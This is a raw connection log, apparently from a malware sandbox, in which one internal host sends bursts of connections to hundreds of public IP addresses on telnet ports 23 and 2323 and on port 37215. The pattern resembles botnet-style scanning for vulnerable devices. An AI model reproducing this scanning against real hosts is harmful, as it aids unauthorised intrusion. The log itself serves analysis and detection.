Oct 8, 2024 20:34:46.309629917 CEST	37215	50966	41.47.159.130	192.168.2.14
Oct 8, 2024 20:34:46.309642076 CEST	36296	37215	192.168.2.14	197.90.138.159
Oct 8, 2024 20:34:46.309642076 CEST	44852	37215	192.168.2.14	41.7.7.103
Oct 8, 2024 20:34:46.309648991 CEST	57474	23	192.168.2.14	188.135.77.119
Oct 8, 2024 20:34:46.309655905 CEST	50966	37215	192.168.2.14	41.47.159.130
Oct 8, 2024 20:34:46.309664965 CEST	23	39114	162.240.134.106	192.168.2.14
Oct 8, 2024 20:34:46.309669971 CEST	48168	23	192.168.2.14	201.184.145.37
Oct 8, 2024 20:34:46.309675932 CEST	37215	40306	41.32.197.61	192.168.2.14
Oct 8, 2024 20:34:46.309675932 CEST	48168	23	192.168.2.14	216.0.110.202
Oct 8, 2024 20:34:46.309689999 CEST	48168	2323	192.168.2.14	205.178.87.82
Oct 8, 2024 20:34:46.309690952 CEST	48168	23	192.168.2.14	70.211.107.217
Oct 8, 2024 20:34:46.309694052 CEST	48168	23	192.168.2.14	198.76.191.208
Oct 8, 2024 20:34:46.309700966 CEST	39114	23	192.168.2.14	162.240.134.106
Oct 8, 2024 20:34:46.309710979 CEST	40306	37215	192.168.2.14	41.32.197.61
Oct 8, 2024 20:34:46.309729099 CEST	48168	23	192.168.2.14	181.213.167.48
Oct 8, 2024 20:34:46.309729099 CEST	48168	23	192.168.2.14	84.244.197.31
Oct 8, 2024 20:34:46.309737921 CEST	48168	23	192.168.2.14	180.255.115.128
Oct 8, 2024 20:34:46.309751034 CEST	48168	23	192.168.2.14	73.38.206.101
Oct 8, 2024 20:34:46.309751034 CEST	48168	23	192.168.2.14	122.102.72.253
Oct 8, 2024 20:34:46.309751987 CEST	48168	23	192.168.2.14	123.2.81.208
Oct 8, 2024 20:34:46.309757948 CEST	48168	23	192.168.2.14	98.124.238.116
Oct 8, 2024 20:34:46.309772968 CEST	48168	23	192.168.2.14	209.12.167.2
Oct 8, 2024 20:34:46.309773922 CEST	48168	23	192.168.2.14	142.35.246.110
Oct 8, 2024 20:34:46.309776068 CEST	48168	2323	192.168.2.14	153.242.169.38
Oct 8, 2024 20:34:46.309786081 CEST	48168	23	192.168.2.14	76.159.95.151
Oct 8, 2024 20:34:46.309812069 CEST	48168	23	192.168.2.14	191.42.125.110
Oct 8, 2024 20:34:46.309812069 CEST	48168	23	192.168.2.14	124.54.243.213
Oct 8, 2024 20:34:46.309814930 CEST	48168	23	192.168.2.14	88.88.178.4
Oct 8, 2024 20:34:46.309814930 CEST	48168	23	192.168.2.14	66.228.159.204
Oct 8, 2024 20:34:46.309834003 CEST	48168	23	192.168.2.14	204.3.38.159
Oct 8, 2024 20:34:46.309834957 CEST	48168	23	192.168.2.14	106.14.129.99
Oct 8, 2024 20:34:46.309844017 CEST	48168	23	192.168.2.14	188.155.204.74
Oct 8, 2024 20:34:46.309847116 CEST	48168	23	192.168.2.14	190.26.196.235
Oct 8, 2024 20:34:46.309860945 CEST	48168	23	192.168.2.14	12.92.44.206
Oct 8, 2024 20:34:46.309861898 CEST	48168	2323	192.168.2.14	77.13.122.147
Oct 8, 2024 20:34:46.309871912 CEST	48168	23	192.168.2.14	113.56.23.155
Oct 8, 2024 20:34:46.309873104 CEST	48168	23	192.168.2.14	101.184.202.86
Oct 8, 2024 20:34:46.309935093 CEST	48168	23	192.168.2.14	218.64.142.78
Oct 8, 2024 20:34:46.309935093 CEST	48168	23	192.168.2.14	157.216.186.135
Oct 8, 2024 20:34:46.309942007 CEST	48168	23	192.168.2.14	113.151.172.199
Oct 8, 2024 20:34:46.309942007 CEST	48168	23	192.168.2.14	203.227.105.147
Oct 8, 2024 20:34:46.309952021 CEST	48168	23	192.168.2.14	12.137.19.60
Oct 8, 2024 20:34:46.309957981 CEST	48168	23	192.168.2.14	113.172.223.67
Oct 8, 2024 20:34:46.309962988 CEST	48168	2323	192.168.2.14	81.89.109.117
Oct 8, 2024 20:34:46.309964895 CEST	48168	23	192.168.2.14	13.104.153.223
Oct 8, 2024 20:34:46.309964895 CEST	48168	23	192.168.2.14	67.125.26.189
Oct 8, 2024 20:34:46.309973955 CEST	48168	23	192.168.2.14	184.171.169.223
Oct 8, 2024 20:34:46.309983969 CEST	48168	23	192.168.2.14	162.228.126.117
Oct 8, 2024 20:34:46.309987068 CEST	48168	23	192.168.2.14	68.54.36.183
Oct 8, 2024 20:34:46.310000896 CEST	48168	23	192.168.2.14	209.128.242.13
Oct 8, 2024 20:34:46.310003996 CEST	48168	23	192.168.2.14	8.43.14.118
Oct 8, 2024 20:34:46.310004950 CEST	48168	23	192.168.2.14	4.222.242.166
Oct 8, 2024 20:34:46.310004950 CEST	48168	23	192.168.2.14	88.196.204.77
Oct 8, 2024 20:34:46.310018063 CEST	48168	2323	192.168.2.14	102.225.167.128
Oct 8, 2024 20:34:46.310018063 CEST	48168	23	192.168.2.14	75.122.147.39
Oct 8, 2024 20:34:46.310029984 CEST	48168	23	192.168.2.14	97.46.171.35
Oct 8, 2024 20:34:46.310040951 CEST	48168	23	192.168.2.14	166.83.191.173
Oct 8, 2024 20:34:46.310040951 CEST	48168	23	192.168.2.14	161.94.140.240
Oct 8, 2024 20:34:46.310051918 CEST	48168	23	192.168.2.14	78.171.129.94
Oct 8, 2024 20:34:46.310065031 CEST	48168	23	192.168.2.14	70.117.115.220
Oct 8, 2024 20:34:46.310089111 CEST	48168	23	192.168.2.14	80.236.3.131
Oct 8, 2024 20:34:46.310091972 CEST	48168	23	192.168.2.14	99.67.160.199
Oct 8, 2024 20:34:46.310096025 CEST	48168	2323	192.168.2.14	38.57.184.156
Oct 8, 2024 20:34:46.310101986 CEST	48168	23	192.168.2.14	99.105.203.186
Oct 8, 2024 20:34:46.310103893 CEST	48168	23	192.168.2.14	20.39.159.232
Oct 8, 2024 20:34:46.310103893 CEST	48168	23	192.168.2.14	78.93.147.100
Oct 8, 2024 20:34:46.310122013 CEST	48168	23	192.168.2.14	209.43.251.64
Oct 8, 2024 20:34:46.310131073 CEST	48168	23	192.168.2.14	184.58.241.68
Oct 8, 2024 20:34:46.310136080 CEST	48168	23	192.168.2.14	124.134.69.70
Oct 8, 2024 20:34:46.310132980 CEST	48168	23	192.168.2.14	135.145.87.170
Oct 8, 2024 20:34:46.310132980 CEST	48168	23	192.168.2.14	106.79.0.63
Oct 8, 2024 20:34:46.310141087 CEST	48168	23	192.168.2.14	158.64.47.197
Oct 8, 2024 20:34:46.310168028 CEST	48168	23	192.168.2.14	115.50.9.60
Oct 8, 2024 20:34:46.310204029 CEST	48168	23	192.168.2.14	147.220.86.39
Oct 8, 2024 20:34:46.310204029 CEST	48168	23	192.168.2.14	59.149.49.169
Oct 8, 2024 20:34:46.310209990 CEST	48168	23	192.168.2.14	193.200.124.165
Oct 8, 2024 20:34:46.310231924 CEST	48168	23	192.168.2.14	165.82.94.242
Oct 8, 2024 20:34:46.310257912 CEST	48168	23	192.168.2.14	204.206.94.184
Oct 8, 2024 20:34:46.310257912 CEST	48168	23	192.168.2.14	195.0.25.181
Oct 8, 2024 20:34:46.310264111 CEST	48168	23	192.168.2.14	101.143.243.11
Oct 8, 2024 20:34:46.310265064 CEST	48168	23	192.168.2.14	186.10.11.93
Oct 8, 2024 20:34:46.310265064 CEST	48168	23	192.168.2.14	169.205.141.57
Oct 8, 2024 20:34:46.310265064 CEST	48168	2323	192.168.2.14	141.230.189.65
Oct 8, 2024 20:34:46.310265064 CEST	48168	23	192.168.2.14	212.18.116.240
Oct 8, 2024 20:34:46.310265064 CEST	48168	23	192.168.2.14	59.16.161.143
Oct 8, 2024 20:34:46.310269117 CEST	48168	23	192.168.2.14	126.157.16.28
Oct 8, 2024 20:34:46.310269117 CEST	48168	23	192.168.2.14	36.146.36.157
Oct 8, 2024 20:34:46.310285091 CEST	48168	2323	192.168.2.14	47.254.205.182
Oct 8, 2024 20:34:46.310286045 CEST	48168	23	192.168.2.14	61.79.214.148
Oct 8, 2024 20:34:46.310286045 CEST	48168	23	192.168.2.14	62.41.95.43
Oct 8, 2024 20:34:46.310286045 CEST	48168	23	192.168.2.14	168.91.9.77
Oct 8, 2024 20:34:46.310327053 CEST	48168	23	192.168.2.14	73.113.147.238
Oct 8, 2024 20:34:46.310327053 CEST	48168	23	192.168.2.14	108.30.211.120
Oct 8, 2024 20:34:46.310327053 CEST	48168	23	192.168.2.14	121.140.143.246
Oct 8, 2024 20:34:46.310344934 CEST	48168	2323	192.168.2.14	202.122.125.166
Oct 8, 2024 20:34:46.310344934 CEST	48168	23	192.168.2.14	164.244.42.143
Oct 8, 2024 20:34:46.310347080 CEST	48168	23	192.168.2.14	169.205.3.250
Oct 8, 2024 20:34:46.310347080 CEST	48168	23	192.168.2.14	178.40.111.121
Oct 8, 2024 20:34:46.310348988 CEST	48168	23	192.168.2.14	43.91.210.155
Oct 8, 2024 20:34:46.310353994 CEST	48168	23	192.168.2.14	223.60.26.6
Oct 8, 2024 20:34:46.310353994 CEST	48168	23	192.168.2.14	154.250.230.198
Oct 8, 2024 20:34:46.310365915 CEST	48168	23	192.168.2.14	118.44.169.164
Oct 8, 2024 20:34:46.310395002 CEST	48168	23	192.168.2.14	152.5.81.4
Oct 8, 2024 20:34:46.310395956 CEST	48168	23	192.168.2.14	14.234.32.44
Oct 8, 2024 20:34:46.310395002 CEST	48168	23	192.168.2.14	160.76.18.45
Oct 8, 2024 20:34:46.310416937 CEST	48168	23	192.168.2.14	135.184.116.61
Oct 8, 2024 20:34:46.310416937 CEST	48168	23	192.168.2.14	86.51.12.40
Oct 8, 2024 20:34:46.310425997 CEST	48168	2323	192.168.2.14	77.245.212.93
Oct 8, 2024 20:34:46.310427904 CEST	48168	23	192.168.2.14	109.222.36.140
Oct 8, 2024 20:34:46.310427904 CEST	48168	23	192.168.2.14	142.66.176.241
Oct 8, 2024 20:34:46.310430050 CEST	48168	23	192.168.2.14	168.253.83.117
Oct 8, 2024 20:34:46.310446024 CEST	48168	23	192.168.2.14	184.231.109.155
Oct 8, 2024 20:34:46.310456991 CEST	48168	2323	192.168.2.14	186.113.48.124
Oct 8, 2024 20:34:46.310463905 CEST	48168	23	192.168.2.14	79.69.34.223
Oct 8, 2024 20:34:46.310470104 CEST	48168	23	192.168.2.14	125.197.242.84
Oct 8, 2024 20:34:46.310470104 CEST	48168	23	192.168.2.14	106.56.82.48
Oct 8, 2024 20:34:46.310473919 CEST	48168	23	192.168.2.14	188.20.174.40
Oct 8, 2024 20:34:46.310476065 CEST	48168	23	192.168.2.14	86.200.187.247
Oct 8, 2024 20:34:46.310477018 CEST	48168	23	192.168.2.14	211.55.161.219
Oct 8, 2024 20:34:46.310489893 CEST	48168	23	192.168.2.14	152.160.17.63
Oct 8, 2024 20:34:46.310507059 CEST	48168	23	192.168.2.14	14.181.215.180
Oct 8, 2024 20:34:46.310507059 CEST	48168	23	192.168.2.14	76.219.106.130
Oct 8, 2024 20:34:46.310517073 CEST	48168	23	192.168.2.14	141.235.126.64
Oct 8, 2024 20:34:46.310518980 CEST	48168	2323	192.168.2.14	163.197.203.224
Oct 8, 2024 20:34:46.310520887 CEST	48168	23	192.168.2.14	109.134.174.182
Oct 8, 2024 20:34:46.310529947 CEST	48168	23	192.168.2.14	161.0.237.11
Oct 8, 2024 20:34:46.310529947 CEST	48168	23	192.168.2.14	218.169.76.75
Oct 8, 2024 20:34:46.310534954 CEST	48168	23	192.168.2.14	53.15.184.52
Oct 8, 2024 20:34:46.310543060 CEST	48168	23	192.168.2.14	60.126.195.46
Oct 8, 2024 20:34:46.310564041 CEST	48168	23	192.168.2.14	87.79.252.246
Oct 8, 2024 20:34:46.310564995 CEST	48168	23	192.168.2.14	72.68.206.5
Oct 8, 2024 20:34:46.310566902 CEST	48168	23	192.168.2.14	115.178.115.90
Oct 8, 2024 20:34:46.310566902 CEST	48168	2323	192.168.2.14	167.62.50.41
Oct 8, 2024 20:34:46.310576916 CEST	48168	23	192.168.2.14	157.158.179.108
Oct 8, 2024 20:34:46.310576916 CEST	48168	23	192.168.2.14	81.253.96.10
Oct 8, 2024 20:34:46.310594082 CEST	48168	23	192.168.2.14	121.195.208.197
Oct 8, 2024 20:34:46.310595036 CEST	48168	23	192.168.2.14	213.169.52.237
Oct 8, 2024 20:34:46.310601950 CEST	48168	23	192.168.2.14	9.81.174.145
Oct 8, 2024 20:34:46.310611963 CEST	48168	23	192.168.2.14	81.199.207.23
Oct 8, 2024 20:34:46.310612917 CEST	48168	23	192.168.2.14	179.16.48.177
Oct 8, 2024 20:34:46.310626984 CEST	48168	23	192.168.2.14	48.242.114.61
Oct 8, 2024 20:34:46.310630083 CEST	48168	23	192.168.2.14	171.118.19.28
Oct 8, 2024 20:34:46.311022043 CEST	48168	23	192.168.2.14	157.235.28.7
Oct 8, 2024 20:34:46.311217070 CEST	37184	37215	192.168.2.14	41.93.241.64
Oct 8, 2024 20:34:46.312181950 CEST	38706	37215	192.168.2.14	197.29.27.45
Oct 8, 2024 20:34:46.313529968 CEST	57526	37215	192.168.2.14	156.198.67.203
Oct 8, 2024 20:34:46.314146996 CEST	2323	48168	164.136.28.188	192.168.2.14
Oct 8, 2024 20:34:46.314161062 CEST	23	48168	31.69.24.240	192.168.2.14
Oct 8, 2024 20:34:46.314172029 CEST	23	48168	221.8.98.198	192.168.2.14
Oct 8, 2024 20:34:46.314193964 CEST	48168	2323	192.168.2.14	164.136.28.188
Oct 8, 2024 20:34:46.314193964 CEST	48168	23	192.168.2.14	31.69.24.240
Oct 8, 2024 20:34:46.314219952 CEST	48168	23	192.168.2.14	221.8.98.198
Oct 8, 2024 20:34:46.314382076 CEST	48562	37215	192.168.2.14	41.202.0.65
Oct 8, 2024 20:34:46.314398050 CEST	48562	37215	192.168.2.14	41.202.0.65
Oct 8, 2024 20:34:46.314426899 CEST	23	48168	163.13.115.137	192.168.2.14
Oct 8, 2024 20:34:46.314441919 CEST	23	48168	103.107.206.175	192.168.2.14
Oct 8, 2024 20:34:46.314450026 CEST	23	48168	104.5.193.224	192.168.2.14
Oct 8, 2024 20:34:46.314487934 CEST	48168	23	192.168.2.14	104.5.193.224
Oct 8, 2024 20:34:46.314491987 CEST	48168	23	192.168.2.14	103.107.206.175
Oct 8, 2024 20:34:46.314505100 CEST	48168	23	192.168.2.14	163.13.115.137
Oct 8, 2024 20:34:46.314764023 CEST	48958	37215	192.168.2.14	41.202.0.65
Oct 8, 2024 20:34:46.315112114 CEST	23	48168	38.121.225.201	192.168.2.14
Oct 8, 2024 20:34:46.315124035 CEST	23	48168	120.121.119.91	192.168.2.14
Oct 8, 2024 20:34:46.315133095 CEST	23	48168	163.7.208.166	192.168.2.14
Oct 8, 2024 20:34:46.315150023 CEST	48168	23	192.168.2.14	38.121.225.201
Oct 8, 2024 20:34:46.315150023 CEST	48168	23	192.168.2.14	120.121.119.91
Oct 8, 2024 20:34:46.315169096 CEST	48168	23	192.168.2.14	163.7.208.166
Oct 8, 2024 20:34:46.315244913 CEST	23	48168	45.128.42.166	192.168.2.14
Oct 8, 2024 20:34:46.315257072 CEST	23	48168	135.45.157.64	192.168.2.14
Oct 8, 2024 20:34:46.315267086 CEST	2323	48168	169.141.80.11	192.168.2.14
Oct 8, 2024 20:34:46.315288067 CEST	48168	23	192.168.2.14	45.128.42.166
Oct 8, 2024 20:34:46.315289021 CEST	48168	23	192.168.2.14	135.45.157.64
Oct 8, 2024 20:34:46.315306902 CEST	48168	2323	192.168.2.14	169.141.80.11
Oct 8, 2024 20:34:46.315336943 CEST	60804	37215	192.168.2.14	197.56.8.149
Oct 8, 2024 20:34:46.315336943 CEST	60804	37215	192.168.2.14	197.56.8.149
Oct 8, 2024 20:34:46.315742016 CEST	32946	37215	192.168.2.14	197.56.8.149
Oct 8, 2024 20:34:46.315766096 CEST	23	48168	133.227.119.47	192.168.2.14
Oct 8, 2024 20:34:46.315814018 CEST	23	48168	34.237.172.12	192.168.2.14
Oct 8, 2024 20:34:46.315825939 CEST	23	48168	106.137.198.153	192.168.2.14
Oct 8, 2024 20:34:46.315835953 CEST	23	48168	101.34.58.41	192.168.2.14
Oct 8, 2024 20:34:46.315840960 CEST	48168	23	192.168.2.14	133.227.119.47
Oct 8, 2024 20:34:46.315840960 CEST	48168	23	192.168.2.14	34.237.172.12
Oct 8, 2024 20:34:46.315845966 CEST	23	48168	181.24.186.51	192.168.2.14
Oct 8, 2024 20:34:46.315859079 CEST	23	48168	112.203.244.245	192.168.2.14
Oct 8, 2024 20:34:46.315864086 CEST	48168	23	192.168.2.14	106.137.198.153
Oct 8, 2024 20:34:46.315864086 CEST	48168	23	192.168.2.14	101.34.58.41
Oct 8, 2024 20:34:46.315876007 CEST	23	48168	210.158.64.90	192.168.2.14
Oct 8, 2024 20:34:46.315886974 CEST	23	48168	42.39.246.43	192.168.2.14
Oct 8, 2024 20:34:46.315896988 CEST	2323	48168	74.89.174.46	192.168.2.14
Oct 8, 2024 20:34:46.315907955 CEST	23	48168	85.244.194.221	192.168.2.14
Oct 8, 2024 20:34:46.315917969 CEST	23	48168	48.204.149.210	192.168.2.14
Oct 8, 2024 20:34:46.315918922 CEST	48168	23	192.168.2.14	210.158.64.90
Oct 8, 2024 20:34:46.315920115 CEST	48168	23	192.168.2.14	42.39.246.43
Oct 8, 2024 20:34:46.315928936 CEST	23	48168	59.159.74.41	192.168.2.14
Oct 8, 2024 20:34:46.315929890 CEST	48168	2323	192.168.2.14	74.89.174.46
Oct 8, 2024 20:34:46.315933943 CEST	48168	23	192.168.2.14	112.203.244.245
Oct 8, 2024 20:34:46.315933943 CEST	48168	23	192.168.2.14	85.244.194.221
Oct 8, 2024 20:34:46.315941095 CEST	23	48168	146.52.194.54	192.168.2.14
Oct 8, 2024 20:34:46.315951109 CEST	48168	23	192.168.2.14	48.204.149.210
Oct 8, 2024 20:34:46.315952063 CEST	48168	23	192.168.2.14	181.24.186.51
Oct 8, 2024 20:34:46.315952063 CEST	23	48168	94.5.107.179	192.168.2.14
Oct 8, 2024 20:34:46.315962076 CEST	48168	23	192.168.2.14	59.159.74.41
Oct 8, 2024 20:34:46.315970898 CEST	23	48168	201.184.145.37	192.168.2.14
Oct 8, 2024 20:34:46.315973043 CEST	48168	23	192.168.2.14	146.52.194.54
Oct 8, 2024 20:34:46.315983057 CEST	23	48168	216.0.110.202	192.168.2.14
Oct 8, 2024 20:34:46.315989971 CEST	48168	23	192.168.2.14	94.5.107.179
Oct 8, 2024 20:34:46.315999985 CEST	2323	48168	205.178.87.82	192.168.2.14
Oct 8, 2024 20:34:46.316008091 CEST	48168	23	192.168.2.14	201.184.145.37
Oct 8, 2024 20:34:46.316011906 CEST	23	48168	70.211.107.217	192.168.2.14
Oct 8, 2024 20:34:46.316015959 CEST	48168	23	192.168.2.14	216.0.110.202
Oct 8, 2024 20:34:46.316021919 CEST	23	48168	198.76.191.208	192.168.2.14
Oct 8, 2024 20:34:46.316028118 CEST	48168	2323	192.168.2.14	205.178.87.82
Oct 8, 2024 20:34:46.316046953 CEST	23	48168	181.213.167.48	192.168.2.14
Oct 8, 2024 20:34:46.316051960 CEST	48168	23	192.168.2.14	70.211.107.217
Oct 8, 2024 20:34:46.316059113 CEST	23	48168	84.244.197.31	192.168.2.14
Oct 8, 2024 20:34:46.316070080 CEST	23	48168	180.255.115.128	192.168.2.14
Oct 8, 2024 20:34:46.316080093 CEST	23	48168	123.2.81.208	192.168.2.14
Oct 8, 2024 20:34:46.316086054 CEST	48168	23	192.168.2.14	181.213.167.48
Oct 8, 2024 20:34:46.316086054 CEST	48168	23	192.168.2.14	84.244.197.31
Oct 8, 2024 20:34:46.316090107 CEST	48168	23	192.168.2.14	180.255.115.128
Oct 8, 2024 20:34:46.316099882 CEST	23	48168	73.38.206.101	192.168.2.14
Oct 8, 2024 20:34:46.316111088 CEST	23	48168	122.102.72.253	192.168.2.14
Oct 8, 2024 20:34:46.316117048 CEST	48168	23	192.168.2.14	123.2.81.208
Oct 8, 2024 20:34:46.316122055 CEST	23	48168	98.124.238.116	192.168.2.14
Oct 8, 2024 20:34:46.316133976 CEST	23	48168	209.12.167.2	192.168.2.14
Oct 8, 2024 20:34:46.316139936 CEST	48168	23	192.168.2.14	198.76.191.208
Oct 8, 2024 20:34:46.316139936 CEST	48168	23	192.168.2.14	73.38.206.101
Oct 8, 2024 20:34:46.316139936 CEST	48168	23	192.168.2.14	122.102.72.253
Oct 8, 2024 20:34:46.316148043 CEST	23	48168	142.35.246.110	192.168.2.14
Oct 8, 2024 20:34:46.316154957 CEST	48168	23	192.168.2.14	98.124.238.116
Oct 8, 2024 20:34:46.316164017 CEST	2323	48168	153.242.169.38	192.168.2.14
Oct 8, 2024 20:34:46.316174030 CEST	23	48168	76.159.95.151	192.168.2.14
Oct 8, 2024 20:34:46.316183090 CEST	48168	23	192.168.2.14	142.35.246.110
Oct 8, 2024 20:34:46.316184998 CEST	23	48168	191.42.125.110	192.168.2.14
Oct 8, 2024 20:34:46.316193104 CEST	48168	23	192.168.2.14	209.12.167.2
Oct 8, 2024 20:34:46.316194057 CEST	48168	2323	192.168.2.14	153.242.169.38
Oct 8, 2024 20:34:46.316198111 CEST	23	48168	124.54.243.213	192.168.2.14
Oct 8, 2024 20:34:46.316209078 CEST	23	48168	66.228.159.204	192.168.2.14
Oct 8, 2024 20:34:46.316214085 CEST	48168	23	192.168.2.14	76.159.95.151
Oct 8, 2024 20:34:46.316219091 CEST	23	48168	88.88.178.4	192.168.2.14
Oct 8, 2024 20:34:46.316220999 CEST	48168	23	192.168.2.14	191.42.125.110
Oct 8, 2024 20:34:46.316229105 CEST	23	48168	106.14.129.99	192.168.2.14
Oct 8, 2024 20:34:46.316239119 CEST	23	48168	204.3.38.159	192.168.2.14
Oct 8, 2024 20:34:46.316241980 CEST	48168	23	192.168.2.14	124.54.243.213
Oct 8, 2024 20:34:46.316247940 CEST	48168	23	192.168.2.14	88.88.178.4
Oct 8, 2024 20:34:46.316248894 CEST	23	48168	188.155.204.74	192.168.2.14
Oct 8, 2024 20:34:46.316258907 CEST	48168	23	192.168.2.14	66.228.159.204
Oct 8, 2024 20:34:46.316272020 CEST	48168	23	192.168.2.14	106.14.129.99
Oct 8, 2024 20:34:46.316273928 CEST	48168	23	192.168.2.14	204.3.38.159
Oct 8, 2024 20:34:46.316288948 CEST	48168	23	192.168.2.14	188.155.204.74
Oct 8, 2024 20:34:46.316389084 CEST	51342	37215	192.168.2.14	156.130.3.215
Oct 8, 2024 20:34:46.316389084 CEST	51342	37215	192.168.2.14	156.130.3.215
Oct 8, 2024 20:34:46.316796064 CEST	51694	37215	192.168.2.14	156.130.3.215
Oct 8, 2024 20:34:46.317087889 CEST	37215	38706	197.29.27.45	192.168.2.14
Oct 8, 2024 20:34:46.317126036 CEST	38706	37215	192.168.2.14	197.29.27.45
Oct 8, 2024 20:34:46.317321062 CEST	54588	37215	192.168.2.14	156.235.39.57
Oct 8, 2024 20:34:46.317321062 CEST	54588	37215	192.168.2.14	156.235.39.57
Oct 8, 2024 20:34:46.317822933 CEST	54940	37215	192.168.2.14	156.235.39.57
Oct 8, 2024 20:34:46.318392038 CEST	50954	37215	192.168.2.14	41.115.234.247
Oct 8, 2024 20:34:46.318392038 CEST	50954	37215	192.168.2.14	41.115.234.247
Oct 8, 2024 20:34:46.318916082 CEST	51302	37215	192.168.2.14	41.115.234.247
Oct 8, 2024 20:34:46.319248915 CEST	37215	48562	41.202.0.65	192.168.2.14
Oct 8, 2024 20:34:46.319493055 CEST	50966	37215	192.168.2.14	41.47.159.130
Oct 8, 2024 20:34:46.319493055 CEST	50966	37215	192.168.2.14	41.47.159.130
Oct 8, 2024 20:34:46.320025921 CEST	51370	37215	192.168.2.14	41.47.159.130
Oct 8, 2024 20:34:46.320177078 CEST	37215	60804	197.56.8.149	192.168.2.14
Oct 8, 2024 20:34:46.321135998 CEST	44852	37215	192.168.2.14	41.7.7.103
Oct 8, 2024 20:34:46.321135998 CEST	44852	37215	192.168.2.14	41.7.7.103
Oct 8, 2024 20:34:46.321624994 CEST	37215	51342	156.130.3.215	192.168.2.14
Oct 8, 2024 20:34:46.321832895 CEST	45252	37215	192.168.2.14	41.7.7.103
Oct 8, 2024 20:34:46.322444916 CEST	57946	37215	192.168.2.14	41.125.245.240
Oct 8, 2024 20:34:46.322457075 CEST	57946	37215	192.168.2.14	41.125.245.240
Oct 8, 2024 20:34:46.322520018 CEST	37215	54588	156.235.39.57	192.168.2.14
Oct 8, 2024 20:34:46.322913885 CEST	58346	37215	192.168.2.14	41.125.245.240
Oct 8, 2024 20:34:46.323229074 CEST	37215	50954	41.115.234.247	192.168.2.14
Oct 8, 2024 20:34:46.324192047 CEST	36296	37215	192.168.2.14	197.90.138.159
Oct 8, 2024 20:34:46.324192047 CEST	36296	37215	192.168.2.14	197.90.138.159
Oct 8, 2024 20:34:46.324754953 CEST	37215	50966	41.47.159.130	192.168.2.14
Oct 8, 2024 20:34:46.325476885 CEST	36692	37215	192.168.2.14	197.90.138.159
Oct 8, 2024 20:34:46.326163054 CEST	37215	44852	41.7.7.103	192.168.2.14
Oct 8, 2024 20:34:46.327440977 CEST	37215	57946	41.125.245.240	192.168.2.14
Oct 8, 2024 20:34:46.329092979 CEST	37215	36296	197.90.138.159	192.168.2.14
Oct 8, 2024 20:34:46.329382896 CEST	46754	37215	192.168.2.14	156.151.29.185
Oct 8, 2024 20:34:46.329382896 CEST	46754	37215	192.168.2.14	156.151.29.185
Oct 8, 2024 20:34:46.329973936 CEST	47142	37215	192.168.2.14	156.151.29.185
Oct 8, 2024 20:34:46.330265999 CEST	37215	36692	197.90.138.159	192.168.2.14
Oct 8, 2024 20:34:46.330348969 CEST	36692	37215	192.168.2.14	197.90.138.159
Oct 8, 2024 20:34:46.330635071 CEST	55866	37215	192.168.2.14	156.68.138.126
Oct 8, 2024 20:34:46.330635071 CEST	55866	37215	192.168.2.14	156.68.138.126
Oct 8, 2024 20:34:46.331195116 CEST	56250	37215	192.168.2.14	156.68.138.126
Oct 8, 2024 20:34:46.332967043 CEST	42768	37215	192.168.2.14	41.39.101.230
Oct 8, 2024 20:34:46.332999945 CEST	42768	37215	192.168.2.14	41.39.101.230
Oct 8, 2024 20:34:46.333381891 CEST	43146	37215	192.168.2.14	41.39.101.230
Oct 8, 2024 20:34:46.334291935 CEST	37215	46754	156.151.29.185	192.168.2.14
Oct 8, 2024 20:34:46.334505081 CEST	40306	37215	192.168.2.14	41.32.197.61
Oct 8, 2024 20:34:46.334505081 CEST	40306	37215	192.168.2.14	41.32.197.61
Oct 8, 2024 20:34:46.334873915 CEST	40684	37215	192.168.2.14	41.32.197.61
Oct 8, 2024 20:34:46.335434914 CEST	38706	37215	192.168.2.14	197.29.27.45
Oct 8, 2024 20:34:46.335434914 CEST	38706	37215	192.168.2.14	197.29.27.45
Oct 8, 2024 20:34:46.335696936 CEST	37215	55866	156.68.138.126	192.168.2.14
Oct 8, 2024 20:34:46.335733891 CEST	60776	37215	192.168.2.14	41.60.137.219
Oct 8, 2024 20:34:46.335733891 CEST	55140	37215	192.168.2.14	156.161.166.180
Oct 8, 2024 20:34:46.335736036 CEST	39992	37215	192.168.2.14	156.135.60.48
Oct 8, 2024 20:34:46.335736036 CEST	55862	37215	192.168.2.14	197.193.4.205
Oct 8, 2024 20:34:46.335755110 CEST	56252	23	192.168.2.14	98.113.130.124
Oct 8, 2024 20:34:46.335755110 CEST	41794	23	192.168.2.14	120.172.22.83
Oct 8, 2024 20:34:46.335763931 CEST	55122	37215	192.168.2.14	156.211.13.119
Oct 8, 2024 20:34:46.335763931 CEST	56142	37215	192.168.2.14	156.144.221.185
Oct 8, 2024 20:34:46.335771084 CEST	60186	37215	192.168.2.14	156.15.115.61
Oct 8, 2024 20:34:46.335772038 CEST	45784	37215	192.168.2.14	197.236.37.193
Oct 8, 2024 20:34:46.335772991 CEST	33708	37215	192.168.2.14	41.240.112.173
Oct 8, 2024 20:34:46.335788965 CEST	59542	37215	192.168.2.14	41.185.187.78
Oct 8, 2024 20:34:46.335793972 CEST	49298	37215	192.168.2.14	41.90.124.245
Oct 8, 2024 20:34:46.335794926 CEST	39942	37215	192.168.2.14	41.119.100.224
Oct 8, 2024 20:34:46.335808992 CEST	56276	37215	192.168.2.14	156.24.184.74
Oct 8, 2024 20:34:46.335808992 CEST	59192	37215	192.168.2.14	156.215.146.232
Oct 8, 2024 20:34:46.335808992 CEST	56002	23	192.168.2.14	98.240.67.209
Oct 8, 2024 20:34:46.335808992 CEST	35676	37215	192.168.2.14	41.147.107.132
Oct 8, 2024 20:34:46.335814953 CEST	39706	37215	192.168.2.14	156.97.3.108
Oct 8, 2024 20:34:46.335822105 CEST	59068	23	192.168.2.14	144.12.160.27
Oct 8, 2024 20:34:46.335829973 CEST	49784	37215	192.168.2.14	197.90.154.72
Oct 8, 2024 20:34:46.335829973 CEST	48836	37215	192.168.2.14	41.176.3.251
Oct 8, 2024 20:34:46.335830927 CEST	52770	37215	192.168.2.14	156.74.174.9
Oct 8, 2024 20:34:46.335830927 CEST	51720	37215	192.168.2.14	156.9.1.62
Oct 8, 2024 20:34:46.335834980 CEST	57086	23	192.168.2.14	194.137.125.22
Oct 8, 2024 20:34:46.336045980 CEST	38736	37215	192.168.2.14	197.29.27.45
Oct 8, 2024 20:34:46.336769104 CEST	36692	37215	192.168.2.14	197.90.138.159
Oct 8, 2024 20:34:46.338113070 CEST	37215	42768	41.39.101.230	192.168.2.14
Oct 8, 2024 20:34:46.338583946 CEST	37215	43146	41.39.101.230	192.168.2.14
Oct 8, 2024 20:34:46.338633060 CEST	43146	37215	192.168.2.14	41.39.101.230
